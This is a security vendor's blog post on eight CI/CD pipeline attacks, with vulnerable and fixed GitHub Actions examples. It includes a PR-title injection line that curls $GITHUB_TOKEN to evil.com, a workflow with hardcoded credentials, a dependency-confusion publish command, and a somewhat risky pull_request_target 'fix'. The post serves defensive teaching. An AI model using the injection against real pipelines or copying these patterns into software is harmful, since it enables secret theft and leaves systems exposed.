CI/CD Pipeline Security: 8 Attacks We See in Every Audit
Why CI/CD Pipelines Are High-Value Targets
Your CI/CD pipeline is arguably the most privileged system in your organization. It has:
- ✅ Access to source code (all repositories)
- ✅ Production deployment credentials
- ✅ Cloud provider IAM roles
- ✅ Database connection strings
- ✅ API keys and secrets
- ✅ Code signing certificates
A compromised pipeline means an attacker can inject code into every build, steal every secret, and deploy malicious code to production — automatically.
Real-world example: The SolarWinds SUNBURST attack compromised CI/CD to inject malicious code into software updates, affecting 18,000+ organizations including U.S. government agencies.
Attack #1: Secrets in Environment Variables (Plain Text)
❌ Vulnerable Pipeline
# .github/workflows/deploy.yml
name: Deploy
on: push
jobs:
deploy:
runs-on: ubuntu-latest
env:
AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE # Hardcoded!
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI... # In plain text!
DATABASE_URL: postgresql://admin:password@prod-db:5432/app
steps:
- run: ./deploy.sh
Anyone with repo read access sees these credentials. Fork PRs can exfiltrate them.
✅ Fix: Use Secrets Manager
# .github/workflows/deploy.yml
name: Deploy
on:
push:
branches: [main] # Only on main, not PRs
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Requires approval
permissions:
id-token: write # OIDC, no static keys
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::role/deploy
aws-region: us-east-1
- run: ./deploy.sh
Attack #2: Poisoned Pull Request (PR)
An attacker forks your repo, modifies the CI config, and opens a PR that runs their code in your pipeline.
❌ Vulnerable Workflow
on:
pull_request: # Runs on ALL PR types
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # Attacker modifies package.json scripts
✅ Fix: Require Approval for External PRs
on:
pull_request_target: # Runs in context of base, not fork
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
# Only run if author is a collaborator
if: github.event.pull_request.author_association == 'COLLABORATOR' ||
github.event.pull_request.author_association == 'MEMBER'
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
Attack #3: Dependency Confusion / Typosquatting
# Attacker publishes a malicious package with your internal package name
npm publish @yourcompany/internal-utils # Public npm
# Your CI pipeline installs from public npm instead of private registry
✅ Fix: Pin Registries + Lock Files
# .npmrc
@yourcompany:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:_authToken=${NPM_TOKEN}
# CI step: verify lock file integrity
- name: Verify dependencies
run: |
npm ci --ignore-scripts # Install from lock file only
npm audit --audit-level=high
Attack #4: Compromised GitHub Actions / Third-Party Steps
# ❌ Using mutable tag — author can push malicious update
- uses: some-user/cool-action@main
# ✅ Pin to specific commit SHA
- uses: some-user/cool-action@a1b2c3d4e5f6
Check Your Actions
# Find all unpinned actions in your workflows
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}" | grep -v "@v[0-9]"
Attack #5: Build Output Tampering
If build artifacts aren't signed or verified, an attacker with CI access can swap the artifact.
✅ Fix: Sign and Verify Artifacts
# Sign container images with cosign
- name: Sign image
run: |
cosign sign --key cosign.key \
${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ steps.build.outputs.digest }}
# Verify in deployment
- name: Verify image
run: |
cosign verify --key cosign.pub \
${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ env.DIGEST }}
Attack #6: Self-Hosted Runner Escape
Self-hosted runners share the host OS. One malicious job can access artifacts from other jobs.
✅ Fix: Ephemeral Runners
# Use ephemeral runners that are destroyed after each job
runs-on: [self-hosted, ephemeral]
# Or better: use GitHub-hosted runners for public repos
runs-on: ubuntu-latest
Attack #7: Workflow Injection via Untrusted Input
# ❌ PR title injected into shell command
- name: Check PR
run: echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker sets PR title to: "; curl http://evil.com/steal?token=$GITHUB_TOKEN"
# ✅ Fix: Use environment variable
- name: Check PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"
Attack #8: OIDC Token Scope Too Broad
# ❌ Any branch can assume production role
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::role/admin # Too much access!
# ✅ Fix: Restrict role trust policy
{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
}
}
}
CI/CD Security Checklist
| Control | Priority | Tool |
|---|---|---|
| No hardcoded secrets | Critical | GitLeaks, TruffleHog |
| Pin action versions to SHA | High | Renovate, Dependabot |
| Restrict PR workflow triggers | Critical | GitHub settings |
| Use OIDC instead of static keys | High | AWS/GCP/Azure OIDC |
| Sign build artifacts | High | Cosign, Sigstore |
| Ephemeral/isolated runners | Medium | GitHub-hosted, Firecracker |
| Dependency verification | High | npm audit, pip-audit |
| Audit logging for pipeline | Medium | GitHub audit log API |
Need a CI/CD Security Review?
We audit GitHub Actions, GitLab CI, Jenkins, and Azure DevOps pipelines. Request a free review →
Published by the SecureCodeReviews.com team — helping teams secure their software supply chains.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Software Supply Chain Security: Defending Against Modern Threats
How to protect your applications from supply chain attacks targeting dependencies, build pipelines, and deployment processes.
Container Security Best Practices for Production
Secure your containerized applications from image building to runtime with these battle-tested practices.
DevSecOps: The Complete Guide 2025-2026
Master DevSecOps with comprehensive practices, automation strategies, real-world examples, and the latest trends shaping secure development in 2025.